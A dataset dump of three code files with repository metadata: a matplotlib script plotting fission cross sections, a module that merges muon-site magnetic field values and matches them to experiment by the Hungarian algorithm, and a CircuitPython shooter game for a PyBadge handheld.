"lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "PySide2.QtWidgets.QWidget", "line_number": 6, "usage_type": "attribute"}, {"api_name": "PySide2.QtWidgets", "line_number": 6, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QPushButton", "line_number": 10, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 10, "usage_type": "name"}, {"api_name": "PySide2.QtCore.QSize", "line_number": 13, "usage_type": "call"}, {"api_name": "PySide2.QtCore", "line_number": 13, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QTextEdit", "line_number": 15, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 15, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QTextEdit", "line_number": 18, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 18, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QVBoxLayout", "line_number": 20, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 20, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QHBoxLayout", "line_number": 23, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 23, "usage_type": "name"}, {"api_name": "PySide2.QtCore.QPropertyAnimation", "line_number": 32, "usage_type": "call"}, {"api_name": "PySide2.QtCore", "line_number": 32, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QApplication", "line_number": 62, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 62, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 62, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 65, "usage_type": "call"}]} {"seq_id": "13747478449", "text": "import matplotlib.pyplot as plt\nimport pandas as pd\n\nnucs = ['Pu239', 'U235', 'U233']\n\nfig = plt.figure()\nfor nuc in nucs:\n df = pd.read_csv('{}.txt'.format(nuc), skiprows=1, header=None, \n sep=\" \", names=['energy', 'xs'])\n plt.loglog(df['energy'], df['xs'], label=nuc, figure=fig)\nplt.legend(loc=0)\nplt.xlabel('Energy (eV)')\nplt.ylabel('$\\sigma(E)$ (barns)')\nplt.title('Fission Cross Section')\nplt.savefig('xs.pdf')\n", "repo_name": "gidden/thesis", "sub_path": "diss/pres/figs/xs.py", "file_name": "xs.py", "file_ext": "py", "file_size_in_byte": 443, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "matplotlib.pyplot.figure", "line_number": 6, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 6, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 8, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.loglog", "line_number": 10, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 10, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 11, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 11, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 12, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 12, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 13, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 13, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 14, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 14, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 15, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 15, "usage_type": "name"}]} {"seq_id": "31219604110", "text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport scipy\nimport numpy as np\nfrom tabulate import tabulate\nfrom scipy.optimize import linear_sum_assignment\n\n\n# In[2]:\n\n\ndef group_values(calc_values):\n \"\"\"Here, we pass the nd.array of total fields with\n their labels, index and total field value to group the values\n e.g calc_values = np.array([['$B_{\\\\mu}^{s}$', '1-1', '0.9694245004388192'],\n ['$B_{\\\\mu}^{s}$', '2-1', '0.3696106159894605'],\n ['$B_{\\\\mu}^{s}$', '2-2', '0.5802625057445634'],\n ['$B_{\\\\mu}^{s}$', '2-3', '1.0119281898999035'],\n ['$B_{\\\\mu}^{s}$', '3-1', '2.0119281898999035']]\n )\n and returns a dictionary values based on their index\n {1: np.array([0.9694245]),\n 2: np.array([0.36961062, 0.58026251, 1.01192819]),\n 3: np.array([2.01192819])}\n\n \n Parameters\n ----------\n calc_values : numpy.ndarray\n array containing the label, index and value of field contribution\n Returns: dict\n A dictionary of group values\n \"\"\"\n import copy\n def group(items):\n \"\"\"group a list containing identical items \n into group with their index\n \"\"\"\n from itertools import groupby\n result = {\n key: [item[0] for item in group]\n for key, group in groupby(sorted(enumerate(items), key=lambda x: x[1]), lambda x: x[1])\n }\n return result \n\n \n calc_values = np.array(calc_values)\n if len(calc_values)==1:\n return {1: np.array([np.float_(calc_values[:,2])])}\n \n index = calc_values[:,1]\n index_pair = [(inx.split('-')[0], inx.split('-')[1]) for inx in index]\n index_single1 = [] \n index_single2 = [] \n for inx in index_pair: \n index_single1.append(inx[0]) \n index_single2.append(inx[1])\n \n index_single1_ = list(np.int_(index_single1)) \n calc_values_ = np.float_(calc_values[:,2])\n #print(calc_values_)\n group_indexes = group(index_single1_) \n group_indexes_index = list(group_indexes.values())\n \n calc_values_list = [[] for i in range(len(group_indexes))]\n calc_values_dict = {}\n dic = {}\n for items in group_indexes.items():\n dic[items[0]] = calc_values_[np.array(items[1])]\n return dic\n\n\n# In[3]:\n\n\nclass MergeField:\n \"\"\"This class is use to Merge/Collapse a set list of values that their\n difference is less than a threshold into unique set of values .\n \"\"\"\n \n @staticmethod\n def index_of_items_from_lists(list_lists, list_items):\n \"\"\"Find index of items in a lists\n \n Parameters\n ----------\n list_lists : list\n list of values\n list_items : list\n list of values to identify index from list_lists\n Returns\n -------\n list\n \"\"\"\n return [list(list_lists).index(item) for item in list_items]\n\n @staticmethod\n def store_dict_to_file(data_object, filename, uuid_index):\n \"\"\"To store a data object\n \n Parameters:\n -----------\n data_object : numpuy.ndarray\n A data objec to store in txt file (just for fun to make it editable)\n filenmae : str\n name of file to store data\n uuid_index : int\n index for each file\n \"\"\"\n import pprint\n dic = data_object.copy()\n with open(filename, \"w\") as f:\n f.write(pprint.pformat(dic, indent=4))\n \n\n def __init__(\n self,\n total_fields,\n muon_sites,\n uuid_index = 1,\n threshold = 0.1,\n filename = None\n ):\n \"\"\"\n Parameters\n ----------\n total_fields : list\n list of calculated field\n muon_sites : nd.array\n muon sites positions\n uuid_index : int\n calculation index, Default = 1\n threshold : float\n filename : str\n file name to save data object\n \n \"\"\"\n self.total_fields = np.array(total_fields)\n self.muon_sites = muon_sites\n self.uuid_index = uuid_index\n self.threshold = threshold\n self.filename = filename \n \n if filename is None or filename == \"\":\n self.filename = \"data\"\n else:\n self.filename = filename\n \n if len(self.total_fields) == 1:\n self.index = self.total_fields[:,1]\n self.labels = list(set(self.total_fields[:,0]))\n self.fields = [np.float_(self.total_fields[:,2])]\n else:\n self.index = self.total_fields[:,1]\n self.labels = list(set(self.total_fields[:,0]))\n self.fields = list(np.float_(self.total_fields[:,2]))\n \n # The self.init_musite_index and self.init_musite_value\n # to keep note of the index of calculated field (not replicas)\n # and its value \n for i, ind in enumerate(self.index):\n split_ = ind.split('-')\n if split_[-1] == '1':\n self.init_musite_index = i\n #self.init_site_index.append(i)\n self.init_musite_value = self.fields[self.init_musite_index]\n# print('init_musite_index = {} and init_musite_value = {}'.\n# format(self.init_musite_index, \n# self.init_musite_value\n# )\n# )\n self.length_of_data = len(self.fields)\n original_indexes = [i+1 for i in range(self.length_of_data)]\n \n self.merge_fields_average = {}\n self.merge_indexes_sublists = {}\n \n self.fields_distinct_dic = {}\n self.group_index_sublist_dict = {}\n \n \n def merge_fields(self):\n \"\"\" Perform the merging of values\n \"\"\"\n if self.length_of_data == 1:\n self.merge_fields_average = {'1*':self.fields[0]}\n self.merge_indexes_sublists = {1:[0]} \n return self.merge_fields_average, self.merge_indexes_sublists\n \n fields_data = np.array(self.fields)\n idx0 = np.argsort(fields_data)\n fields = fields_data[idx0]\n idx = np.argsort(fields)\n diff = np.diff(fields)\n #print('idx0 = ', idx0, 'idx = ', idx)\n avg = fields[:-1]+np.diff(fields)/2\n merge = diff/avg < self.threshold\n # create a list of lists, put the first value of the source data in the first\n lists = [[fields[0]]]\n for i, x in enumerate(fields[1:]):\n # if the gap from the current item to the previous is more than the threshold\n # Note: the previous item is the last item in the last list\n # Note: the '> self.threshold' is the part you'd modify to make it stricter \n # or more relaxed\n if (x - lists[-1][-1]) / avg[i] > self.threshold:\n # then start a new list\n lists.append([])\n # add the current item to the last list in the list\n lists[-1].append(x)\n\n #print('lists = ', lists)\n\n sublists = []\n for items in lists:\n sublists.append(self.index_of_items_from_lists(fields_data, items))\n for i, val in enumerate(sublists):\n self.merge_indexes_sublists[i+1] = val \n \n for i, l in enumerate(lists):\n #print('values = ', l)\n string = str(i+1)\n if self.init_musite_value in l:\n string = string+'*'\n self.merge_fields_average[string] = np.average(l)\n\n return self.merge_fields_average, self.merge_indexes_sublists\n \n def summary(self):\n \"\"\" Display the summary of informations\n \"\"\"\n muon_sites = np.array(self.muon_sites)\n fields_dict = self.merge_fields()[0]\n group_indexes = self.merge_fields()[1]\n\n filename = self.filename+'_merge_index_calc_'+str(self.uuid_index)+'.txt'\n print('... Saving complete merge index\\'s for calculation #{} to a file : {}'.\n format(self.uuid_index,\n filename\n )\n )\n self.store_dict_to_file(group_indexes, filename, self.uuid_index)\n\n sites = []\n m_sites = []\n fields = []\n number_dict = {}\n multiplicity = []\n for items1, items2 in zip(group_indexes.items(), fields_dict.items()):\n mu_index = items1[1][0]\n if '*' in items2[0]:\n mu_index = self.init_musite_index\n number_dict[items1[0]] = len(items1[1])\n sites.append(items2[0])\n fields.append(items2[1])\n m_sites.append(muon_sites[mu_index])\n multiplicity.append(len(items1[1]))\n m_sites = np.around(np.array(m_sites), 6)\n tab = zip(sites, m_sites, fields, multiplicity)\n headers = ['##', 'POSITION (x,y,z)', 'NET FIELD (Tesla)', 'MULTIPLICITY ##']\n \n print('\\n... Total number of {} equiv fields are merged to give {} distinct field ...\\n'.\n format(self.length_of_data, \n len(number_dict)\n )\n )\n# print('\\n... Each distinct field has nth terms as : {} ...\\n'.format(number_dict))\n print(tabulate(tab, headers=headers, tablefmt=\"github\"))\n print('\\n\\t[*] Means calculated muon site ...\\n')\n \n \n def data_object(self):\n \"\"\"Prepare the merge values into a form of input data of 'total_fields'\n \"\"\"\n fields_dict = self.merge_fields()[0]\n data = [] \n for i, items in enumerate(fields_dict.items()):\n data.append([str(self.labels[0]), str(self.uuid_index)+'-'+str(items[0]), items[1]])\n return data\n\n\n# In[4]:\n\n\nclass HungarianError(Exception):\n pass\n \n# Import numpy. Error if fails\ntry:\n import scipy\n import numpy as np\n from scipy.optimize import linear_sum_assignment\nexcept ImportError:\n raise HungarianError(\"numpy or scipy not installed.\")\n \n \nclass HungarianAlgorithm:\n \"\"\"This class perfrom a Hungarian algorithm to assign experimental values\n to calculated values\n \"\"\"\n \n \n @staticmethod\n def __cost_matrix(\n calculated_values,\n experimental_values \n ):\n\n \"\"\"Calculate the cost and real matrix. The cost matrix is weight of task to\n assign each experimental values to any calculated values, which is absolute\n difference between experimental and calculated values. The real matrix \n is weight of calculated value only.\n \n Parameters\n ----------\n calculated_values : dict, list\n calculated value\n experimental_values : list\n experimental value \n \n Returns\n -------\n tuple\n cost_matrix : numpy.ndarray\n the cost matrix to optimized\n real matrix : numpy.ndarray\n the real matrix of the calculated values\n \"\"\"\n nrows = len(experimental_values)\n ncols = len(calculated_values)\n cost_matrix = np.zeros([nrows, ncols]) \n real_matrix = np.zeros([nrows, ncols])\n for i, val in enumerate(experimental_values):\n cost_matrix[i] = [np.abs(val-c) for c in calculated_values] \n real_matrix[i] = [np.abs(0-c) for c in calculated_values]\n return cost_matrix, real_matrix \n \n def __init__(\n self, \n calculated_values=None, \n experimental_values=None\n ):\n \"\"\"This class perfrom a Hungarian algorithm to assign experimental values\n to calculated values\n \n Parameters\n ----------\n calculated_values : dict, list\n calculated value\n experimental_values : list\n experimental value \n Returns\n -------\n \"\"\"\n \n if calculated_values is not None and experimental_values is not None:\n exp_values = list(experimental_values)\n argsort = np.argsort(exp_values)\n self._exp_values = list(np.array(exp_values)[argsort]) \n if isinstance(calculated_values, dict):\n #calc_keys = list(calculated_values.keys())\n self._dict = calculated_values.copy()\n data_type = 'dict'\n calc_values = list(calculated_values.values())\n calc_values = [item for sublist in calc_values for item in sublist]\n elif isinstance(calculated_values, list):\n data_type = 'list'\n calc_values = list(calculated_values)\n #calc_keys = [i+1 for i in range(len(calc_values))]\n elif isinstance(calculated_values, np.ndarray):\n data_type = 'list'\n calc_values = [item for sublist in calc_values for item in sublist]\n #calc_keys = [i+1 for i in range(len(calc_values))] \n # sort values\n argsort = np.argsort(calc_values)\n self._calc_values = list(np.array(calc_values)[argsort])\n self._data_type = data_type\n #self._calc_keys = calc_keys\n # Results from algorithm.\n self._results = [] # for hungarian results\n self._results2 = [] # return the exact results\n self._PotentialValues = [] # for hungarian results\n self._PotentialValues2 = [] # return the exact results\n else:\n self._calc_values = None\n self._exp_values = [0.0]\n\n def get_results(self):\n \"\"\"Get results after calculation.\"\"\"\n return self._results\n \n def get_potential_values(self):\n \"\"\"Returns expected value after calculation.\"\"\"\n #print('Hungarian algorithm gives...')\n if len(self._exp_values) > len(self._PotentialValues):\n print('ALL EXPERIMENTAL DATA CAN\\'T BE ASSIGNED...')\n else:\n print('ALL EXPERIMENTAL DATA CAN BE ASSIGNED...')\n print('BY HUNGARIAN ALGORITHM TO GIVE...')\n match_data_object = {}\n for i, value in enumerate(self._PotentialValues):\n if self._data_type == 'dict':\n other_values, index = self.check_other_values_and_index(value=value)\n print('VALUE #{} :: = {} in Tesla from calculation {}.'.\n format(i+1, \n value, \n index\n )\n )\n print('\\tCONTAINS {} SYMMETRY REPLICAS...'.format(len(other_values)))\n print('\\tWITH VALUES = {} in Tesla.'.format(other_values)) \n else:\n print('VALUE #{} :: = {} Tesla.'.format(i+1, value))\n match_data_object[i+1] = value\n print('\\nMATCH DATA OBJECT = {}\\n'.format(match_data_object))\n return self._PotentialValues\n \n def check_other_values_and_index(self, value):\n \"\"\"Found a value from a group\n \"\"\"\n for key, val in self._dict.items():\n if value in val:\n return val, key \n \n def calculate(\n self, \n calculated_values=None,\n experimental_values=None\n ):\n \"\"\"Perform the Hungarian algorithm.\n \n Parameters\n ----------\n calculated_values : dict, list\n calculated value\n experimental_values : list\n experimental value \n Returns\n -------\n \"\"\"\n \n if calculated_values is None and self._calc_values is None:\n raise HungarianError(\"values is invalid or not given\")\n elif calculated_values is not None:\n self.__init__(\n calculated_values=calculated_values, \n experimental_values=experimental_values\n ) \n calc_values = self._calc_values\n exp_values = self._exp_values\n data_type = self._data_type\n cost_matrix_, real_matrix_ = self.__cost_matrix(calc_values, exp_values)\n \n # Hungarian scipy optimization\n matched_rows, matched_columns = linear_sum_assignment(cost_matrix_)\n \n # Save Results\n for result in zip(matched_rows, matched_columns):\n row, column = result\n rc = (int(row), int(column))\n self._results.append(rc)\n self._PotentialValues.append(real_matrix_[row, column])\n\n\n# In[ ]:\n\n\n\n\n", "repo_name": "jazmaryphy/aiida-muon", "sub_path": "workchains/aiida_hungarian_code.py", "file_name": "aiida_hungarian_code.py", "file_ext": "py", "file_size_in_byte": 16585, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "itertools.groupby", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.float_", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.int_", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.float_", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 73, "usage_type": "call"}, {"api_name": "pprint.pformat", "line_number": 117, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 142, "usage_type": "call"}, {"api_name": "numpy.float_", "line_number": 156, "usage_type": "call"}, {"api_name": "numpy.float_", "line_number": 160, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 194, "usage_type": "call"}, {"api_name": "numpy.argsort", "line_number": 195, "usage_type": "call"}, {"api_name": "numpy.argsort", "line_number": 197, "usage_type": "call"}, {"api_name": "numpy.diff", "line_number": 198, "usage_type": "call"}, {"api_name": "numpy.diff", "line_number": 200, "usage_type": "call"}, {"api_name": "numpy.average", "line_number": 228, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 235, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 261, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 261, "usage_type": "call"}, {"api_name": "tabulate.tabulate", "line_number": 271, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 334, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 335, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 337, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 338, "usage_type": "call"}, {"api_name": "numpy.argsort", "line_number": 361, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 362, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 373, "usage_type": "attribute"}, {"api_name": "numpy.argsort", "line_number": 378, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 379, "usage_type": "call"}, {"api_name": "scipy.optimize.linear_sum_assignment", "line_number": 458, "usage_type": "call"}]} {"seq_id": "43353341382", "text": "# !/user/bin/env python3\n\n# Created by Kevin Csiffary\n# Date: Jan. 11, 2023\n# This program is my game\n\n\nimport stage\nimport ugame\nimport time\nimport random\nimport supervisor\n\nimport constants\n\n\n\ndef splash_screen():\n # setup the display and frame rate\n game = stage.Stage(ugame.display, 60)\n\n # render an entire 160 * 128 image from 5 slices\n for i in range(5):\n slice_bmp = stage.Bank.from_bmp16(f\"slice{i}.bmp\")\n cur_slice = stage.Grid(slice_bmp, constants.SCREEN_GRID_X, constants.SCREEN_GRID_Y)\n for y in range(16):\n if y >= 8:\n c = 1\n else:\n c = 0\n # place the chunk at the correct posiiton\n cur_slice.tile((i * 2) + c, y - (8 * c), y)\n # add the chunk to the list of things to render\n game.layers += [cur_slice]\n\n\n # render all of the sprites\n game.render_block()\n\n while True:\n # wait 2 seconds\n time.sleep(2.0)\n # go to the menu scene\n menu_scene()\n\ndef menu_scene():\n image_bank_mt_background = stage.Bank.from_bmp16(\"pain_menu.bmp\")\n\n # setup the text for the menu\n text = []\n text1 = stage.Text(width=40, height=20, font=None, palette=constants.RED_PALETTE, buffer=None)\n text1.move(59, 20)\n text1.text(\"Pain\")\n text.append(text1)\n\n text5 = stage.Text(width=29, height=12, font=None, palette=constants.RED_PALETTE, buffer=None)\n text5.move(15, 45)\n text5.text(\"Press A to Shoot\")\n text.append(text5)\n\n text3 = stage.Text(width=29, height=12, font=None, palette=constants.RED_PALETTE, buffer=None)\n text3.move(5, 65)\n text3.text(\"Move Left and Right\")\n text.append(text3)\n\n text4 = stage.Text(width=29, height=12, font=None, palette=constants.RED_PALETTE, buffer=None)\n text4.move(25, 75)\n text4.text(\"With the Left\")\n text.append(text4)\n\n text6 = stage.Text(width=29, height=12, font=None, palette=constants.RED_PALETTE, buffer=None)\n text6.move(13, 85)\n text6.text(\"and Right Buttons\")\n text.append(text6)\n\n text2 = stage.Text(width=29, height=12, font=None, palette=constants.RED_PALETTE, buffer=None)\n text2.move(4, 110)\n text2.text(\"Press Start To Play\")\n text.append(text2)\n\n # set the background to a custom sprite\n background = stage.Grid(image_bank_mt_background, 10, 8)\n\n # setup background music\n back_music = open(\"white_space.wav\", 'rb')\n sound = ugame.audio\n sound.stop()\n sound.mute(False)\n\n # setup the display and frame rate\n game = stage.Stage(ugame.display, 60)\n\n # sets the layers of the sprites\n game.layers = text + [background]\n\n # render all of the sprites\n game.render_block()\n\n # play the background music\n sound.play(back_music)\n\n # variable for looping background musiic\n back_music_time = 0\n\n while True:\n # handle inputs\n keys = ugame.buttons.get_pressed()\n\n if keys & ugame.K_START:\n game_scene()\n\n ### looping music system ###\n # check if 838 frames have gone by since last time the music was played\n if back_music_time >= 838:\n # play the music again\n sound.play(back_music)\n # reset the music frame counter to 0\n back_music_time = 0\n else:\n # increment the music frame counter\n back_music_time += 1\n\n # only ticks every 1/60th of a second\n game.tick()\n\n# for the main game scene\ndef game_scene():\n # for placing the enemys\n def show_enemy():\n for enemy_number in range(len(enemys)):\n if enemys[enemy_number].x < 0: \n enemys[enemy_number].move(random.randint(0 + constants.SPRITE_SIZE, constants.SCREEN_X - constants.SPRITE_SIZE), constants.OFF_TOP_SCREEN)\n break\n\n # initialize score\n score = 0\n\n # setup score text\n score_text = stage.Text(width=29, height=14)\n score_text.clear()\n score_text.cursor(0,0)\n score_text.move(1,1)\n score_text.text(f\"Score: {score}\")\n\n # set the image bank on the pybadge\n image_bank_background = stage.Bank.from_bmp16(\"pain_background.bmp\")\n image_bank_sprites = stage.Bank.from_bmp16(\"pain_sprites.bmp\")\n\n\n # initialize buttons\n a_button = constants.button_state[\"button_up\"]\n b_button = constants.button_state[\"button_up\"]\n start_button = constants.button_state[\"button_up\"]\n select_button = constants.button_state[\"button_up\"]\n\n\n\n # sets the size of the background grid to 10*8\n background = stage.Grid(image_bank_background, 10, 8)\n\n # sets the position of the 4 player sprites\n player1 = stage.Sprite(image_bank_sprites, 2, 67, 98)\n player2 = stage.Sprite(image_bank_sprites, 3, 67, 114)\n player3 = stage.Sprite(image_bank_sprites, 4, 83, 98)\n player4 = stage.Sprite(image_bank_sprites, 5, 83, 114)\n\n # initialize the enemies\n enemys = []\n for enemy_number in range(constants.TOTAL_NUMBER_OF_ENEMYS):\n a_single_enemy1 = stage.Sprite(image_bank_sprites, 7, constants.OFF_SCREEN_X, constants.OFF_SCREEN_Y)\n #a_single_enemy2 = stage.Sprite(image_bank_sprites, 8, constants.OFF_SCREEN_X, constants.OFF_SCREEN_Y - 16)\n enemys.append(a_single_enemy1)\n #enemys.append(a_single_enemy2)\n show_enemy()\n\n # setup the audio files\n hit_sound = open(\"hit_sound.wav\", 'rb')\n pew_sound = open(\"throw.wav\", 'rb')\n death_sound = open(\"death_sound.wav\", 'rb')\n sound = ugame.audio\n sound.stop()\n sound.mute(False)\n\n # unused variable for background music\n back_music_time = 0\n\n # sets player to all of the player sprites\n #player = [player1] + [player2] + [player3] + [player4]\n\n # initializes the knifes\n knifes = []\n for knife_number in range(constants.TOTAL_NUMBER_OF_KNIFES):\n a_single_knife = stage.Sprite(image_bank_sprites, 10, constants.OFF_SCREEN_X, constants.OFF_SCREEN_Y)\n knifes.append(a_single_knife)\n\n\n # displays the background and sets the frame rate to 60\n game = stage.Stage(ugame.display, 60)\n\n # sets the layers of the sprites\n game.layers = [score_text] + enemys + knifes + [player1] + [player2] + [player3] + [player4] + [background]\n\n # render all of the sprites\n game.render_block()\n\n while True:\n # handle inputs\n keys = ugame.buttons.get_pressed()\n\n if keys & ugame.K_X:\n if b_button == constants.button_state[\"button_up\"]:\n b_button = constants.button_state[\"button_just_pressed\"]\n elif b_button == constants.button_state[\"button_just_pressed\"]:\n b_button = constants.button_state[\"button_still_pressed\"]\n else:\n if b_button == constants.button_state[\"button_still_pressed\"]:\n b_button = constants.button_state[\"button_released\"]\n else:\n b_button = constants.button_state[\"button_up\"]\n pass\n if keys & ugame.K_O:\n if a_button == constants.button_state[\"button_up\"]:\n a_button = constants.button_state[\"button_just_pressed\"]\n elif a_button == constants.button_state[\"button_just_pressed\"]:\n a_button = constants.button_state[\"button_still_pressed\"]\n else:\n if a_button == constants.button_state[\"button_still_pressed\"]:\n a_button = constants.button_state[\"button_released\"]\n else:\n a_button = constants.button_state[\"button_up\"]\n pass\n if keys & ugame.K_START:\n pass\n if keys & ugame.K_SELECT:\n pass\n if keys & ugame.K_RIGHT:\n # check if the player is off screen\n if (player3.x + 10) < 160:\n # move all of the player sprites right\n player1.move(player1.x + 1, player1.y)\n player2.move(player2.x + 1, player2.y)\n player3.move(player3.x + 1, player3.y)\n player4.move(player4.x + 1, player4.y)\n else:\n # dont move the player sprites\n player1.move(134, player1.y)\n player2.move(134, player2.y)\n player3.move(150, player3.y)\n player4.move(150, player4.y)\n if keys & ugame.K_LEFT:\n # check if the player is off screen\n if (player1.x + 6) > 0:\n # move all of the player sprites left\n player1.move(player1.x - 1, player1.y)\n player2.move(player2.x - 1, player2.y)\n player3.move(player3.x - 1, player3.y)\n player4.move(player4.x - 1, player4.y)\n else:\n # dont move the player sprites\n player1.move(-6, player1.y)\n player2.move(-6, player2.y)\n player3.move(10, player3.y)\n player4.move(10, player4.y)\n\n if keys & ugame.K_UP:\n pass\n #player1.move(player1.x, player1.y - 1)\n #player2.move(player2.x, player2.y - 1)\n #player3.move(player3.x, player3.y - 1)\n #player4.move(player4.x, player4.y - 1)\n if keys & ugame.K_DOWN:\n pass\n #player1.move(player1.x, player1.y + 1)\n #player2.move(player2.x, player2.y + 1) \n #player3.move(player3.x, player3.y + 1) \n #player4.move(player4.x, player4.y + 1) \n\n # throwing knifes\n if a_button == constants.button_state[\"button_just_pressed\"]:\n for knife_number in range(len(knifes)):\n if knifes[knife_number].x < 0:\n knifes[knife_number].move(player1.x + 8, player1.y)\n sound.play(pew_sound)\n break\n\n # move the knifes\n for knife_number in range(len(knifes)):\n if knifes[knife_number].x > 0:\n knifes[knife_number].move(knifes[knife_number].x, knifes[knife_number].y - constants.KNIFE_SPEED)\n if knifes[knife_number].y < constants.OFF_TOP_SCREEN:\n knifes[knife_number].move(constants.OFF_SCREEN_X, constants.OFF_SCREEN_Y) \n\n # check knifes for colisons \n for knife_number in range(len(knifes)):\n if knifes[knife_number].x > 0:\n for enemy_number in range(len(enemys)):\n if enemys[enemy_number].x > 0:\n if stage.collide(knifes[knife_number].x + 6, knifes[knife_number].y + 2, knifes[knife_number].x + 11, knifes[knife_number].y + 12, enemys[enemy_number].x + 1, enemys[enemy_number].y, enemys[enemy_number].x + 15, enemys[enemy_number].y + 15):\n # hide the enemy and the knife\n enemys[enemy_number].move(constants.OFF_SCREEN_X, constants.OFF_SCREEN_Y)\n knifes[knife_number].move(constants.OFF_SCREEN_X, constants.OFF_SCREEN_Y)\n # stop current audio and play the hit sound\n sound.stop()\n sound.play(hit_sound)\n # spawn two more enemys\n show_enemy()\n show_enemy()\n # increment score\n score += 1\n score_text.clear()\n score_text.cursor(0,0)\n score_text.move(1,1)\n score_text.text(f\"Score: {score}\")\n\n # move the enemys\n for enemy_number in range(len(enemys)):\n if enemys[enemy_number].x > 0:\n enemys[enemy_number].move(enemys[enemy_number].x, enemys[enemy_number].y + constants.ENEMY_SPEED)\n # if the enemy reaches the bottom of the screen\n if enemys[enemy_number].y > constants.SCREEN_Y:\n # hide the enemy\n enemys[enemy_number].move(constants.OFF_SCREEN_X, constants.OFF_SCREEN_Y)\n # show an enemy\n show_enemy()\n # decrement score\n score -= 1\n score_text.clear()\n score_text.cursor(0,0)\n score_text.move(1,1)\n score_text.text(f\"Score: {score}\")\n\n # check if the enemy colides with the player\n for enemy_number in range(len(enemys)):\n if enemys[enemy_number].x > 0:\n if stage.collide(enemys[enemy_number].x + 6, enemys[enemy_number].y + 2, enemys[enemy_number].x + 11, enemys[enemy_number].y + 12, player1.x, player1.y, player1.x + 25, player1.y + 25):\n # stop current sounds and play the death sound\n sound.stop()\n sound.play(death_sound)\n # wait three seconds\n time.sleep(3.0)\n # load the game over scene\n game_over_scene(score)\n \n # if back_music_time >= 838:\n # sound.play(back_music)\n # back_music_time = 0\n # else:\n # back_music_time += 1\n\n\n # renders the sprites every frame\n game.render_sprites([player1] + [player2] + [player3] + [player4] + knifes + enemys)\n\n # only ticks every 1/60th of a second\n game.tick()\n\ndef game_over_scene(final_score):\n # initialize audio and stop it\n sound = ugame.audio\n sound.stop()\n\n # open up the sprite sheet\n image_bank_2 = stage.Bank.from_bmp16(\"pain_menu.bmp\")\n\n # set the bacground to a custom strite\n background = stage.Grid(image_bank_2, constants.SCREEN_GRID_X, constants.SCREEN_GRID_Y)\n\n # set all of the text\n text = []\n text1 = stage.Text(width=29, height=14, font=None, palette=constants.RED_PALETTE, buffer=None)\n text1.move(24, 20)\n text1.text(f\"Final Score: {final_score}\")\n text.append(text1)\n\n text3 = stage.Text(width=29, height=14, font=None, palette=constants.RED_PALETTE, buffer=None)\n text3.move(43, 60)\n text3.text(f\"GAME OVER\")\n text.append(text3)\n\n text2 = stage.Text(width=29, height=14, font=None, palette=constants.RED_PALETTE, buffer=None)\n text2.move(32, 110)\n text2.text(f\"PRESS SELECT\")\n text.append(text2)\n\n # sets up the display and frame rate\n game = stage.Stage(ugame.display, constants.FPS)\n\n # set the layers to render the text and the background\n game.layers = text + [background]\n\n # render everything\n game.render_block()\n\n # opens then plays music\n music = open(\"rick.wav\", 'rb')\n sound = ugame.audio\n sound.stop()\n sound.mute(False)\n sound.play(music)\n\n while True:\n keys = ugame.buttons.get_pressed()\n\n # check if the player presed select\n if keys & ugame.K_SELECT != 0:\n # if they did restart\n supervisor.reload()\n\n game.tick()\n\nif __name__ == \"__main__\":\n splash_screen()\n", "repo_name": "ICS3U-Programming-KevinC/ICS3U-CPT-Game", "sub_path": "code.py", "file_name": "code.py", "file_ext": "py", "file_size_in_byte": 14892, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": 